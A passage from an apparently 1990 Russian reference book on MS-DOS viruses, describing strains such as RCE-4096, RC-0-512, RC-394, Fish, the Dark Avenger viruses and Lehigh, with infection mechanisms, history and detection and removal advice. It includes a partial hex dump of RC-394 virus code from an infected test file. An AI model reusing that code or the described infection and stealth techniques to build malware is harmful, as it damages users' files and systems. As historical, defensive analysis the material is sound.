щий фаг.  Как уже  отмечалось, вирус иногда заражает файлы данных.
Они могут быть восстановлены с помощью соответствующего фага.
  Фаза проявления  в имеющихся экземплярах вируса стерта в связи с
недостаточным размером памяти, отведенным под стек. Учитывая нали-
чие в теле вируса загрузчика, выдающего сообщение "Фродо жив", ло-
гично предположить,  что она  связана с  записью в бутсектор этого
загрузчика. В  результате первая же перезагрузка приведет к выдаче
на экран приведенного выше сообщения. Однако реально после 22 сен-
тября 1990  запуск любой  зараженной программы  вызывает зависание
операционной системы  (вирус зацикливается),  создавая впечатление
машинной неисправности.  По данным  П.Хоффман вирус также медленно
"сращивает" файлы  на диске. Для этой цели вирус манипулирует FAT,
изменяя количество  свободных секторов. Пользователь, использующий
команду CHKDSK/F, обнаруживает, что файлы имеют потерянные класте-
ры или  кластеры, принадлежащие двум файлам одновременно. Это про-
явление выглядит как машинная неисправность.
  Все авторы  публикаций, включающих описание данного вируса, схо-
дятся в том, что вирус написан техно-крысой, хорошо знающей "внут-
ренности" операционной  системы и  алгоритмы  работы  антивирусных
программ. Странно,  что программист  такого уровня не нашел ничего
лучшего для приложения собственных способностей, как написание ви-
руса.
  Исторические замечания. Вирус RCE-4096 был обнаружен в Израиле в
октябре 1989  г. В  СССР обнаружен Д.Н.Лозинским в августе 1990 г.
Существует штамм  4096-B, аналогичный  описанному, но использующий
шифровку своего тела.
  Неформальные  названия.   Среди  неформальных  названий  следует
отметить следующие:  4096, 4K, 100 Years virus ( 100 лет), Century
virus (столетие),  Hiding (Прячущийся),   IDF   Virus (ИДФ-вирус),
Stealth Virus (Стелс вирус).
  Методы и  программные средства защиты. Данный вирус диагностиру-
ется полидетектором  SCAN. Для  визуального обнаружения  можно ис-
пользовать год  создания файла  (у зараженных  файлов увеличен  на
100). Для  этой цели можно просмотреть оглавление с помощью  Turbo
C++ (единственная  известная  автору  оболочка,  показывающая  год
создания файла  полностью) или  дамп кластеров  с каталогами с по-
мощью Norton  Utilities (в  DIR и  в Norton Commander видны только
две последние  цифры года). Рекомендуемые фаги приведены в прил.1.
При отсутствии фага для "выкусывания" можно использовать упоминав-
шийся эффект,  связанный с  тем, что  при копировании выполняемого
файла в  файл с  расширением, отличным  от исполняемых  (COM, EXE,
BIN, SYS  и т.д.) резидентный вирус выполняет "выкусывание" своего
тела из файла. Для этой цели при резидентном вирусе можно свернуть
зараженные файлы  в архив, а затем после перезагрузки с защищенной
дискеты, содержащей эталонную операционную систему, скопировать их
обратно. Другим  вариантом является  копирование с переименованием
расширения, например EXE в TTT, а COM в YYY.
  Неясно, является  ли увеличение года достаточным признаком зара-
женности файла,  или вирус  проверяет еще какие-то поля. Если этот
признак достаточен,  то возможна пассивная вакцинация файлов путем
увеличения значения  года создания  на 100, как это делалось с се-
кундами создания файла при вакцинации от вируса C-648. Кроме того,
возможно создание  резидентной вакцины,  обеспечивающей увеличение
значения поля года при считывании элемента каталога.

                 5.7.2. Вирус RC-0-512 (512, 666)

  Данный вирус  имеет размер, совпадающий с типичным размером сек-
тора в  MS DOS и использует специальный метод размножения, напоми-
нающий метод размножения бутовых вирусов. Вирус содержит текстовую
строку 666  в конце  тела, поэтому его иногда называют 666. В коде
вируса используется  ряд недокументированных  функций MS DOS. Фор-
мально RC-0-512  представляет первый  сегментированный резидентный
файловый вирус.  В нем  используется несовершенство  распределения
дисковой памяти  в MS DOS: размер кластера обычно превышает размер
сектора как  минимум в два раза и поэтому можно использовать неза-
полненные "хвосты" в последнем секторе для хранения части тела ви-
руса (модификация первых команд остается обязательной, иначе вирус
не сможет  получить управления).  Фактически эту  схему можно рас-
сматривать как попытку перенесения схемы бутового вируса на файло-
вый вирус.  Как известно,  бутовый вирус,  в отличие от файлового,
сегментирован и  состоит из  головы и  хвоста. Голова  находится в
бутсекторе, а хвост храниться где-то в другом месте и его загрузка
выполняется головой.  Аналогично вирус RC-0-512 рассматривает пер-
вый сектор  COM-файла как  бутсектор и заменяет его своим телом, а
хвост, представляющий  собой оригинальный первый сектор зараженной
программы, прячет  в неиспользуемый  сектор  последнего  кластера.
Очевидно, что  вирус может  заражать на дискете только те файлы, у
которых второй  сектор последнего  кластера полностью свободен. На
винчестере возможно заражение большинства COM-файлов, так как раз-
мер кластера  значительно больше  и один  свободный сектор имеется
практически всегда.
  При заражении  RC-0-512 записывает себя в первый сектор заражае-
мого COM-файла,  предварительно  переписав  "оригинальный"  первый
сектор в один из незаполненных секторов последнего кластера, зани-
маемого файлов, если таковой имеется. Отсюда следует, что заражен-
ные файлы,  скопированные с помощью команды COPY MS DOS (а она ко-
пирует файл  побайтово  в  соответствии  с  указанной  в  элементе
каталога длиной),  будут неработоспособны, а находящийся в них ви-
рус -- работоспособным.
  Подобно специфическому механизму заражения, вирус использует не-
обычный механизм  инсталляции в  оперативной памяти:  для хранения
собственного тела  вирус "откусывает"  первый буфер буферного пула
MS DOS, переставляя указатель на первый буфер так, чтобы он указы-
вал на второй буфер. Таким образом, определить его наличие в памя-
ти без  полного сканирования оперативной памяти можно только, если
знаешь где  искать. Этот факт свидетельствует о том, что оптимиза-
ция просмотра  оперативной памяти в контекстных детекторах и поли-
фагах  является   неверным  шагом   и  может   ухудшить   качество
детектирования.
  Как и в других вирусах группы DARK AVENGER, заражение происходит
как при  открытии, так  и при  выполнении файла. Заражаются файлы,
первые две  буквы расширения которых "CO". При копировании заража-
ются как копия, так и оригинал.
  Вирус заражает  COMMAND.COM. Поскольку  при перезагрузке системы
командный процессор  загружается в память до появления в ней рези-
дентного вируса, то вирус инсталлируется, а затем подгружает недо-
стающую часть  командного процессора из свободного сектора послед-
него кластера.
  Исторические замечания.  Вирус RC-0-512, по-видимому, разработан
в Болгарии  техно-крысой, называющей себя Dark Avenger. Он был об-
наружен студентом-программистом  Василем Никодимовым в ноябре 1989
г. в  Институте математики  (София). Сведения о нем опубликованы в
статье В.Бончева в номере 1-2 за 1990 журнала "Компютър за вас". В
СССР обнаружен  практически одновременно в Москве и Киеве в начале
сентября 1990 г.
  Методы и  программные средства защиты. Данный вирус диагностиру-
ется полидетектором  SCAN и любым контекстным детектором, содержа-
щим соответствующую  сигнатуру. Возможность  создания  резидентной
вакцины неясна. Рекомендуемые полифаги приведены в прил.1. В связи
с используемым  механизмом заражения,  при его  создании возникает
проблема с определением, хранится ли в соответствующем секторе по-
следнего кластера оригинальная голова COM-файла (первые 512 байтов
программы) или  файл был  скопирован и  там теперь просто мусор. В
последнем случае  восстановление приведет к записи мусора на место
тела вируса.  Неясно также,  что произойдет при оптимизации диска,
содержащего зараженные  файлы, с  помощью утилиты  NCC, СОМPRESS и
т.д.

             5.8. Вирус RC-394 (Attention -- Внимание)

  Неформальное название данного вируса связано с тем, что в начале
любой зараженной данным вирусом программы после 3-байтовой команды
перехода на  тело вируса  расположена 12-байтовая текстовая строка
"Attention !".  После этой строки стоит байт 1Ah. Формально RC-394
является файловым резидентным вирусом заражающим COM-файлы при за-
пуске их  на выполнение (прерывание 21-4B). Длина вируса (394 бай-
та) совпадает  с приращением  зараженных файлов. Это один из самых
маленьких резидентных  вирусов, из располагающих свое тело в стар-
ших адресах оперативной памяти.
  Вирус заражает  COM-файлы длиной  от 786 (312h) до 64921 (FD99h)
байт. При заражении тело вируса дописывается в конец файла и изме-
няет первые  16 байт,  как было указано выше. Если заражаемый файл
был защищен атрибутом READ-ONLY, то перед заражением вирус снимает
этот атрибут и не восстанавливает его после заражения.
  При инсталляции  записывает свое тело в старшие адреса оператив-
ной памяти. Перехватывает прерывания 21 и 24. Последнее прерывание
перехватывается не совсем корректно, что может приводить к зависа-
нию системы. Характерным проявлением вируса является включение мо-
тора дисковода  А, при попытке заражения файлов на защищенной дис-
кете, вставленной в дисковод B.
  Исторические замечания.  Вирус, по-видимому, разработан на Запа-
де. В СССР обнаружен Д.Н.Лозинским в августе 1990 г.
  Методы  и   программные  средства   защиты.  Рекомендуемые  фаги
приведены в  прил.1.  Детектирование  возможно  по  приведенным  в
прил.1 сигнатурам.

       Фрагмент дампа  дрозофилы, зараженной вирусом RC-394

0000: E90E10415454454E 54494F4E2020211A   ...ATTENTION  !.
0000: 9090909090909090 9090909090909090   ................
 ***  последующие строки идентичны предыдущей ***
1000: 00CD209090909090 9090909090909090   .. .............
1010: 90E8F9002000C514 C01D9C50535152BB   .... ......PSQR.
1020: 030031C9E2FEB00C BAF203EE31C9E2FE   ..1.........1...
1030: BAF203B01CEE4B75 E95A595B589DB003   ......Ku.ZY[X...
1040: CF5053515257561E 0680FC4B740D071F   .PSQRWV....Kt...
...   .. .. .. .. .. .. .. .. .. .. .. ..  .. .. .. .. ..
10F0: 58050D00A3010052 31C931D2B80042CD   X......R1.1...B.
1100: 2159B440CD21B43E CD21E941FFFA5A81   !Y.@.!.>.!.A..Z.
1110: EA1300BB7901A102 005031C9518ED99D   ....y....P1.Q...
1120: 39061504750253CB 581E0E1F1EC7C11A   9...u.S.X.......
1130: 0029C8A30200508C C929C8498ED9A303   .)....P..).I....
1140: 00581F8EC08BF231 FFC7C18901F3A4BE   .X.....1........
1150: 00018BF9B91000F3 A41F0653BB84008B   ...........S....
1160: 07C707400026A315 008B47028C470226   ...@.&....G..G.&
1170: A317008C0615040E 07CBB910008BF2BF   ................
1180: 0001061F1E57F3A4 FBCB               .....W....

        6. ФАЙЛОВЫЕ ВИРУСЫ, ИЗВЕСТНЫЕ ТОЛЬКО ПО ЛИТЕРАТУРЕ

                       6.1. Общие замечания

  Многие из  упоминаемых в  зарубежной литературе файловых вирусов
пока в  СССР выделены  не  были.  В  прил.3  приводятся  собранные
автором  сведения  о  таких  вирусах,  а  последующих  подразделах
сведения о  наиболее важных  их  этих  вирусов,  опубликованные  в
литературе.   Большинство    из   этих   вирусов   диагностируется
полидетектором SCAN.
  К сожалению,  в условиях  характерной  для  СССР  информационной
изоляции   доступа    к   оперативной   информации   по   вирусам,
распространяющейся по  таким сетям  как BITNET,  автор  не  имеет,
поэтому приводимые  сведения неполны,  а в ряде случаев и неточны.
Наиболее полной на сегодняшний день информацией, доступной автору,
является созданный  Патрицией М. Хоффман (Patricia M.Hoffman) файл
VIRUS  INFORMATION   SUMMARY  (версия   от  10.08.90).  Этот  файл
опубликован в  СП 2-8. Другими источниками является документация к
полидетекторам SCAN  СП 2-7  и TNTVIRUS  СП 2-8. Следует отметить,
что  качество  подготовки  документации  к  программе  SCAN,  как,
впрочем и  самой программы,  вряд ли  может быть оценено выше, чем
удовлетворительное: в  ней приводятся  ряд  неверных  сведений  об
известных автору  вирусах. Документация к TNTVIRUS более подробна,
однако сравнение  со списком  П.Хоффман свидетельствует  о наличии
определенной связи  между этими  двумя документами, хотя ссылка на
П.Хоффман в документации отсутствует.

                     6.2. Новые стелс-вирусы

  Последнее  время   наблюдается  появление   новых  вирусов,  при
разработке которых  приняты изощренные  меры по  маскировке своего
присутствия на зараженной машине. Описываемые ниже вирусы основаны
на RCE-04096 и, возможно, принадлежат тому же автору.

               6.2.1. Вирус RCE-03584 (Fish у Рыба)

  Неформальное название данного вируса связано с тем, что иногда в
теле зараженных программ встречается строка "FISH FI". Кроме того,
проматривая  оперативную   память  при  резидентном  вирусе  можно
обнаружить имена некоторых рыб. Формально вирус представляет собой
резидентный файловый  вирус, заражающий как COM-, так и EXE-файлы.
Вирус заражает COMMAND.COM. Подобно некоторым бутовым вирусам RCE-
03584  переживает  теплую  перезагрузку,  перехватывая  комбинацию
нажатий Ctrl-Alt-Del.
  При  выполнении   зараженной  программы,  вирус  проверяет  свое
наличие в  памяти и, если отсутствует, то инсталлируется в младших
адресах оперативной  памяти.  При  этом,  если  прерывание  13  не
перехвачено  другой   программой,  то   вирус  перехватывает   это
прерывание и  резервирует  8192  байта.  Если  прерывание  13  уже
перехвачено, то  вирус резервирует только 4096 байт памяти и черех
некоторый,   случайный    интервал   времени   инициирует   теплую
перезагрузку   в   процессе   которой   заражает   COMMAND.COM   и
перехватывает 13 прерывание.
  Будучи резидентным,  вирус заражает  все открываемые COM- и EXE-
файлы. При  этом длина  зараженных файлов  увеличивается  на  3584
байта, однако  это увеличение  при резидентном вирусе маскируется.
При запуске  программы CHKDSK на зараженной машине диагностируются
ошибки в  распределении файлов.  Если при  этом CHKDSK  запущена с
ключем /F,  то попытки  исправления ведут  к  потере  кластеров  и
сращиванию файлов.
  Проявление вируса  связано с  тем, что  он  замедляет  запись  в
видеопамять и  на инфицированных  машинах заметно  мерцание экрана
дисплея. Другие проявления вируса неизвестны, хотя вирус проверяет
равен ли  текущий год  1991. Подобно вирусу RCE-04096 данный вирус
не обнаруживается  ревизорами, запущенными  на зараженной системе.
Вирус также  обходит сторожа,  следящие операциями записи на диск.
Кроме  того,  вирус  постоянно  перекодирует  себя  в  оперативной
памяти.
  Исторические  замечания.   Данный  вирус   является  существенно
переработанной модификацией  вирус RCE-04096  и был  выделен в мае
1990 г.  К моменту  выделения он  был достаточно  распространен  в
Западной Европе.  Предполагается, что он был разработан в Западной
Германии. В  СССР не  выделен. Приводимые  сведения базируются,  в
основном, на списке П.Хоффман.
  Методы  и   программные  средства  защиты.  Вирус  детектируется
полидетектором SCAN, начиная с версии 66 (см. СП 2-7).

                 6.2.2. Вирус Mother Fish (Whale)

  Данный вирус является наиболее сложным и изощренным из известных
стелс-вирусов. Размер  кода достигает 9К. Это приблизительно 6 тыс
строк исходного текста, т.е. от нескольких месяцев до года упорной
работы. Вирус  написан программистом,  знакомым с непосредственным
программированием  входящих   в  состав   IBM/PC  контроллеров,  в
частности  контролллера   прерываний  8259   и  контроллера  8255,
управляющего периферийными  устройствами. Вирус зашифрован и имеет
самомодифицирующийся  инсталлятор.   Это   делает   детектирование
достаточно сложной  задачей, хотя  Scan вроде  бы  успешно  с  ней
справляется.
  Исторические  замечания.  Данный  вирус,  по-видимому,  является
развитием предыдущего. Обнаружен примерно в июле-августе 1990 г. в
Западной Европе, а также в Болгарии. В СССР не выделен. Приводимые
сведения базируются,  в основном,  на материалах  Virus forum FIDO
NET.
  Методы  и   программные  средства  защиты.  Вирус  детектируется
полидетектором SCAN,  начиная с версий, датированных августом 1990
г.

                     6.3. "Болгарская серия"

  Как уже  указывалось, Болгария пока является сновным поставщиком
файловых вирусов  для СССР.  Поэтому  сведения  о  появишихся  там
файловых вирусах представляют особый интерес.

             6.3.1. Новые вирусы группы Dark Avenger

            6.3.1.1. Вирус RCE-0651 (Eddie-3 - Эдди-3)
  Вирус уменьшает  системную  память  на  688  байтов.  Уменьшение
системной памяти  маскируется. Заражаются  программы длиной  более
651 байтов. Заражение происходит при запуске файлов на выполнение.
Увеличение   длины    маскируется    при    резидентном    вирусе.
Инфицированные  файлы  содержат  строку  "Eddie  Lives."  в  конце
инфицированного файла. Побочным эффектом вируса является появление
потерянных кластеров  при проверке  целостности  файловой  системы
командой CHKDSK /F
  Неформальные названия. Eddie 3, Stealth Virus.
  Исторические замечания.  Вирус был обнаружен в Болгарии в апреле
1990. На  Запад передан  В.Бончевым. Приведенные сведения основаны
на описании П.Хоффман. По-видимому разработан в Софии техно-крысой
называющей себя Dark Avenger.
  Методы  и   программные  средства  защиты.  Вирус  детектируется
полидетектором SCAN, начиная с версии 66.

6.3.1.2. Вирус RC-800 (800, Live after Death - Жизнь после смерти)
  Неформальное  название   связано  с   тем,  что  вирус  содержит
текстовую строку  "Live  after  Death",  хотя  она  не  видна  при
просмотре дампа  (вирус шифрует  собственное тело  при заражении).
Формально RC-800  - резидентный  файловый вирус,  заражающий файлы
при запуске  их  на  выполнение,  но  не  заражающий  COMMAND.COM.
Шифрует собственное  тело. При  запуске зараженной программы вирус
инталлируется в  старших адресах памяти, уменьшая системную память
на 16К  (очевидно по  принципу "гулять,  так  гулять"),  используя
старшие 8192  байта. Перехватывает прерывание 2A. Файлы заражаются
при запуске  на выполнение.  Зараженные файлы заражаются повторно,
причем каждый  раз длина  учеличивается на 800 байтов. Минимальная
длина заражаемые  файлов -  1K, однако  файлы большие  800  байтов
также заражаются выборочно. Имеется штамм заражающий файлы как при
выполнении, так  и при  открытиии. Этот  штамм уменьшает системную
память ровно на 8192 байта.
  Исторические замечания.  Вирус был  обнаружен в  Болгарии в  мае
1990. На  Запад передан  В.Бончевым. Приведенные сведения основаны
на описании  П.Хоффман. По-видимому,  разработан  в  Софии  техно-
крысой, называющей себя Dark Avenger.
  Неформальные названия.
  Методы и  средства защиты.  Вирус  детектируется  полидетектором
SCAN, начиная с версии 66.

                     6.3.1.3. Вирус RCE-1024
  Данные вирус,  по видимому  является более  ранней версией  RCE-
2000.  Формально   данный  вирус  является  резидентным.  файловым
вирусом,  заражающим   как  COM-  так  и  EXE-файлы.  При  запуске
зараженной програмы  вирус  проверяет  значения  ряда  прерываний,
включая 1  и 3.  Если прерывания  1 и  3 перехвачены,  то вирус не
инсталлируется  в   оперативной  памяти,   а  запускает  программу
вирусоноситель и  после ее  окончания вызывает  зависание системы.
Если  указанные  прерывания  свободны,  то  вирус  инсталлируется,
уменьшая значения  свободной памяти  на 1072  байта и перехватывая
ряд  прерываний   Являясь  резидентным   вирус   заражает   каждую
выполняемую программу  имеющую длину больше 1024 байта. Увеличение
длины маскируется  при резидентном  вирусе. Вирус  дописывается  в
конец зараженных  файлов. Файлы  заражаются  однократно.  В  конце
зараженных файлов имеется строка '7106286813'. Вирус, по видимому,
не имеет стадии проявления.
  Исторические замечания.  Вирус был  обнаружен в  Болгарии в  мае
1990. На  Запад передан  В.Бончевым. Приведенные сведения основаны
на описании  П.Хоффман.По-видимому разработан в Софии техно-крысой
называющей себя  Dark Avenger. По ряду признаков его можно считать
предшественником RCE-02000.
  Неформальные названия.
  Методы  и   программные  средства  защиты.  Вирус  детектируется
полидетектором SCAN, начиная с версии 66.

                     6.3.1.4. Вирус RCE-02100
  Формально данный  вирус является  резидентным файловым  вирусом,
заражающим как  COM-, так  и EXE-файлы,  включая оверлеи. Заражает
COMMAND.COM. При  выполнении зараженной  вирусом  программы  вирус
инсталллируется, уменьшает  системную память  на  4288  байтов,  а
затем  заражает   командный  процессор.   Заражает  программы  при
выполнении  или   открытии  файла.  Минимальная  длина  заражаемой
программы -  2100 байтов.  Увеличение длины при резидентном вирусе
маскируется.  Как   обычно,  при   резидентном  вирусе  появляется
побочный эффект,  связанный с  появлением потерянных кластеров при
проверке целостности файловой системы командой CHKDSK /F
  Исторические замечания.  Вирус был  обнаружен в  Болгарии в июле
1990.  Распространялся   через   троянскую   версию   антивирусной
программы UScan,  которая была  загружена в  несколько европейских
BBS. При  этом наличие вируса в самой программе было замаскировано
и его  было  невозможно  обнаружить  детектором,  рассчитанным  на
данный вирус. Приведенные сведения основаны на описании П.Хоффман.
По-видимому, разработан в Софии техно-крысой, называющей себя Dark
Avenger.
  Неформальные названия. 2100, UScan Virus
  Методы и  средства защиты.  Вирус  детектируется  полидетектором
SCAN, начиная с версии 66.

             6.3.2. Вирус RC-1701p (Phoenix - Феникс)

  Несмотря на идентичную длину вирус не связан с группой Буквопад.
Формально данный  вирус представляет  собой  файловый  резидентных
вирус,  заражающий   COM-файлы  и   имеющий  специальный  механизм
инфицирования  COMMAND.COM.   Инсталллируется  в   старшие  адреса
свободной памяти,  резервируя 8192 байта. Перехватывает прерывание
2A. Ищет в корневом каталоге текущего диска COMMAND.COM и заражает
его не  увеличивая длины  (тело вируса  записывается в  область  с
нулевыми байтами.  Затем выполняет  ту же  операцию на диске С (на
случай, если  текущий диск  является электронным).  Заражает  COM-
файлы, увеличивая  их  длину  на  1701  байт.  Проверка  файла  на
зараженность выполняется некорректно, поэтому вирус может повторно
заражать один  и тот  же файл, каждый раз увеличивая длину на 1701
байт. Инфицируются  файлы как при выполнении, так и при открытиии.
При  попытке   выполнить  утилиту  CHKDSK  на  зараженной  системе
инициируется теплая перезагрузка системы. Использует сложный метод
шифровки  тела,   включая  самомодификацию  инсталлятора,  поэтому
детекторы основанные  на поиске  контексных строк  не в  состоянии
обнаружить данный вирус. Имеет ряд штаммов.
  Исторические замечания.  Вирус был  обнаружен в  Болгарии в июле
1990.  На   Запад  был  передан  В.Бончевым.  Приводимые  сведения
основаны на описании П.Хоффман. По-видимому, разработан в Софии.
  Неформальные названия. V1701New, P1
  Методы и  средства защиты.  Вирус  детектируется  полидетектором
SCAN, начиная с версии 66.

          6.4. Файловые вирусы восточного происхождения

                 6.4.1. Вирус RCE-2064 (Wolfman)

  Формально данный  вирус является  резидентным файловым  вирусом,
заражающим как  COM-, так  и EXE-файлы,  включая оверлеи. Заражает
COMMAND.COM. При  выполнении зараженной  вирусом  программы  вирус
инсталллируется, резервируя в младших адресах свободной памяти два
блока памяти  один размером  68032, а  другой -  4544 байта. Таким
оразом общий  размер свободной памяти уменьшается на 72640 байтов.
Вирус перехватывает  прерывания 09,  10, 16,  21,  2F,  ED  и  F5.
Заражает  программы   при  выполнении   файла.  Минимальная  длина
заражаемой программы  - 2064  байта. при заражении COM-файлов тело
вируса дописывается  в начало  файла, а при заражении EXE-файлов в
конец. Проявления вируса неизвестны.
  Исторические замечания.  Вирус был  обнаружен на  Тайване в июле
1990. Приводимые  сведения основаны  на  описании  П.Хоффман.  По-
видимому, разработан в Тайбее.
  Неформальные названия. Помимо приведенных выше неизвестны.
  Методы и  средства защиты.  Вирус  детектируется  полидетектором
SCAN, начиная с версии 66.

                  6.4.2. Вирус C-743 (Taiwan-2)

  Формально данный  вирус является нерезидентным файловым вирусом,
заражающим COMMAND.COM.  При выполнении зараженной программы вирус
предпринимает попытку  заразить три COM-файла. поиск начинается не
с текущего  каталога, а  с корневого  каталога диска  С. Заражение
выполняется путем дописывания кода вируса в начало файла. При этом
первые743 байта  программы переписываются  в конец. Из-за ошибки в
коде вируса  при заражении  программ, меньших 743 байта зараженная
програма будет  всегда иметь  длину 1486  байтов. Фаза  проявления
наступает на  восьмой день  любого месяца. В этот день при запуске
любой зараженной  программы вирус  выполняет попытку записи первых
160 секторов на дисках С и D, начиная с сектора 0.
  Исторические замечания.  Вирус был обнаружен на Тайване в январе
1990. Приводимые  сведения основаны  на  описании  П.Хоффман.  По-
видимому, разработан в Тайбее.
  Неформальные названия. Помимо приведенных выше неизвестны.
  Методы и  средства защиты.  Вирус  детектируется  полидетектором
SCAN, начиная с версии 66.

           6.4.3. Вирус RCE-2900 (Taiwan-3 - Тайвань-3)

  Неформальное  название  отражает  порядковый  номер  поступления
вирусов   с Тайваня  к  сотрудникам  Макафи  (первыми  двуми  были
Дисккилллер и  C-743   (Taiwan-2)). По  своей структуре  вирус  не
связан с  вирусом С-743.  При   запуске зараженной программы вирус
инсталлируется в  нижние  адреса    свободной  оперативной  памяти
резервируя 3152  байта.  Перехватывает    прерывание  21.  Являясь
резидентным,  заражает   все  исполняемые   программы.  По  данным
П.Хоффман COM-файлы  увеличиваются на 2900 байтов, а EXE-файлы  на
2900-2908  (скорее  2900-2915).  Заражаются  и  оверлейные  файлы.
Проявления неизвестны.
  Исторические замечания.  Вирус был  обнаружен на  Тайване в июне
1990. Приводимые сведения основаны на описании П.Хоффман.
  Неформальные названия. Помимо приведенных выше неизвестны.
  Методы и  средства защиты.  Вирус  детектируется  полидетектором
SCAN, начиная с версии 66.

                6.4.4. Вирус RCE-4096 (Plastique)

  Формально данный  вирус является  резидентным файловым  вирусом,
заражающим как COM-, так и EXE-файлы, включая оверлеи. Не заражает
COMMAND.COM. При  выполнении зараженной  вирусом  программы  вирус
инсталлируется, резервируя в младших адресах свободной памяти 5120
байтов. Вирус  перехватывает прерывания  08,  09,  13,  21  и  ED.
Заражает    программы  при  выполнении  и  открытии  файла.  Длина
зараженных файлов  увеличивается на 4096 байтов. Проявления вируса
неизвестны.
  Исторические сведения. Вирус обнаружен в июле 1990 г. на Тайване
и, по-видимому,  разработан там  же. Имеется  ранний  неотлаженный
штамм -  RCE-3012 (Plastique)
  Неформальные  названия.  Plastique-B,  Plastique  5.21,  Plastic
Bomb,
  Средства обнаружения и защиты. Детектируется Scan (версии 66+).

           6.5. Некоторые "ископаемые" файловые вирусы

  Ряд  вирусов,   ранее  весьма   распространенных  на  Западе,  в
настоящее время  практически полностью  уничтожен и сведения о них
представляют, в  основном, исторический интерес. Впрочем последняя
фраза не совсем корректна, поскольку необходимо помнить, что любой
компьютерный    вирус    практически    "безсмертен"    и    может
"реанимироваться" из  архивов через несколько лет после того как о
нем все забыли.

            6.5.1. Вирус RC-0-346 (Lehigh - Лехайский)

  Название вируса  связано с  тем, что  он впервые был обнаружен в
университете Lehigh  (США) в  ноябре 1987  г.  В  настоящее  время
вирус, по-видимому,  относится к  "ископаемым" и представляет лишь
исторический интерес  как один из первых файловых вирусов, а также
как первый  (и один  из  немногих)  вирус,  специализированный  на
заражении определенного  файла. Формально  вирус RC-0-346 является
файловым  резидентным   вирусом,  распространяющимся   через  файл
COMMAND.COM (командный  процессор MS  DOS).  Иногда  данный  вирус
называют "системным  вирусом", акцентируя  внимание на том, что он
заражает только  командный  процессор.  По  мнению  автора,  такое
название неоправданно, так как хотя командный процессор и является
неотъемлемой частью  операционной системы, его выбор, в отличие от
распространенного   мнения,    произволен.   Конечно   стандартный
командный  процессор,   поставляемый  с  MS  DOS  (COMMAND.COM)  и
является  наиболее   распространенным,  однако   он  не   является
единственным используемым.  Например, ряд  фирм,  включая  Хьюллет
Паккард, поставляют  свои версии  MS DOS  c  диалоговым  командным
процессором, и  пользователи этих  машин никогда не сталкивались с
COMMAND.COM и  характерным приглашением  C:\. Кроме того, учитывая
весьма низкое качество написания COMMAND.COM (а в четвертой версии
MS DOS  он  не  только  плохо  написан,  но  и  еще  "страдает  от
ожирения",  т.к.   его  размер   вырос  более   чем  на   10К  без
существенного     увеличения      функциональных     возможностей)
квалифицированные пользователи  часто заменяют  его  на  командный
процессор 4DOS  фирмы J.P. Software. Поэтому выбор COMMAND.COM как
"среды обитания"  вируса  ничем  принципиально  не  отличается  от
выбора,  скажем,  Norton  Commander  или  другой  распространенной
программы.
  Вирус имплантирует  свое тело  в  область  памяти,  используемую
COMMAND.COM  для   стека  и   изменяет  первые  байты  зараженного
COMMAND.COM таким  образом, чтобы первым получить управление после
его загрузки.  Поэтому длина зараженного COMMAND.COM не отличается
от длины  нормального. При  запуске  командного  процессора  вирус
получает  управление   и  становится   резидентным,   перехватывая
прерывание   21.    При   возникновении   прерывания   21,   вирус
перехватывает запросы "выполнить программу" и "найти первый файл".
При обработке  этих запросов вирус сначала определяет, содержит ли
диск COMMAND.COM.  Если да,  то он  заражает COMMAND.COM  диска, к
которому идет  обращение, и увеличивает спецциальный счетчик. Если
винчестер отсутствует,  то счетчик  хранится в оперативной памяти,
иначе  у   записывается  на   диск.  Таким  образом,  перезагрузка
сбрасывает счетчик  на ПЭВМ без винчестера, в то время как на ПЭВМ
с  винчестером   значение  счетчика  сохраняется.  При  достижении
счетчиком значения  4 вирус,  используя  прерывание  26,  обнуляет
первые  32  сектора  того  диска,  с  которого  он  был  загружен.
Обнаружение данного  вируса упрощается  в связи  с  тем,  что  при
заражении вирус изменяет дату создания файла. Кроме того, вирус не
проверяет, защищен  диск от  записи или  нет и  не снимает атрибут
READ ONLY.  Поэтому, если COMMAND.COM имеет этот атрибут, то вирус
в него  не попадет  (не исключено, что в некоторых штаммах данного
вируса эти "недостатки" устранены).
  Исторические замечания.  Данный вирус  является одним  из первых
вирусов-вандалов. Он  был обнаружен  в студенческими консультатами
Вычислительного центра Лехайского университета (Lehigh university,
Bethlehem, США)  в ноябре  1987 г.[Wyk89].  Они обратили внимание,
что начиная  с 18.10.87  пользователи начали  в  массовом  порядке
возвращать выданные  им дискеты,  заявляя что они дефектны. Хотя в
условиях  интенсивной   эксплуатации   дискеты   характерной   для
университета   последние    иногда   становятся   сбойными   из-за
физического  износа,   плохо   отрегулированного   дисковода   или
попадания грязи,  скорость  возврата  дискет  нарастала  настолько
заметно, что было решено проанализировать ситуацию. В результате и
был выявлен Лехайский вирус. Фактически это первый файловый вирус,
распространение  которого   приняло  характер  эпидемии.  Возможно
существуют два  штамма,  один  не  увеличивает  длину  зараженного
COMMAND.COM, а  другой увеличивает  ее на  20 байт. В СССР явно не
отмечался.  Излагаемые   сведения  опираются   на   информацию   в
зарубежных печатных изданиях.
  Методы   и    программные   средства    защиты.   Данный   вирус
диагностируется полидетектором  SCAN. Вирус  ищет файл с командным
процесором по  имени, а  не по  COMSPEC, поэтому  изменение  имени
командного процессора  защищает командный  процессор от заражения.
Как уже  указывалось, базисная версия вируса не сбрасывает атрибут
READ  ONLY,   поэтому  если   командный  процессор   защищен  этим
атрибутом, то  он заражаться  не будет.  Поскольку вирус  является
резидентным  возможно   создание   резидентной   вакцины.   Вместо
использования фага  проще переписать  командный процессор заново с
дистрибутивной копии операционной системы.

                        6.5.2. Вирус dBASE

  Вирус представляет  интерес как  представитель  класса  вирусов,
направленных  на  модификацию  данных.  Он  использует  достаточно
изощренную схему  изменения  DBF-файлов,  причем  при  резидентном
вирусе внесенные  изменения  маскируются.  Формально  вирус  dBASE
является  резидентным   файловым  вирусом,  который  перехватывает
прерывание 21 и ждет попытки открытия файла с расширением DBF. При
этом вирус  запоминает управляющий  блок  файла  (file  handle)  и
текущую длину  файла с расширением DBF. Любая последующая операция
по записи в этот файл искажается вирусом таким образом, что первые
два байта  записываемого блока  меняются местами.  При последующих
операциях чтения  вирус восстанавливает  первоначальное  положение
этих байтов,  так что до тех пор, пока вирус является резидентным,
вся информация  читается правильно.  Через 90 дней вирус разрушает
FAT.   При   восстановлениии   с   архивных   копий   пользователь
обнаруживает, что  данные в  них  искажены.  Вирус  dBASE  создает
специальный файл с атрибутом HIDDEN, называемый BUG.DAT, в котором
хранится  информация  о  том,  какие  записи  файла  (записывается
смещение  в   байтах)  имеют  переставленные  байты.  Для  каждого
